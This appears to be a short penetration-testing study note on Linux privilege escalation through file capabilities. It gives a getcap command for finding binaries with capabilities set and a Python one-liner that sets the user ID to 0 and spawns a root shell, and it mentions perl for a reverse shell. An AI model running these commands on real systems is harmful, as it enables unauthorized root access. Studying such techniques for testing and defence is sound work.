# Capabilities

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This is similar to SUID. Processes can be privileged running as 0 **or** non-privileged running as anything other than 0. Processes running as 0 can pass checks while others can't. Capabilities are more secure than SUID but can still be vulnerable

Hunting capabilities

```
getcap -r / 2>/dev/null
```

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**cap\_setuid+ep** means capability, set to SUID to permissions everything
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All we have to do is run the binary and make it do something that will turn us into root

Python example

```bash
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

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Other useful tools are tar (read files) perl (reverse shell)
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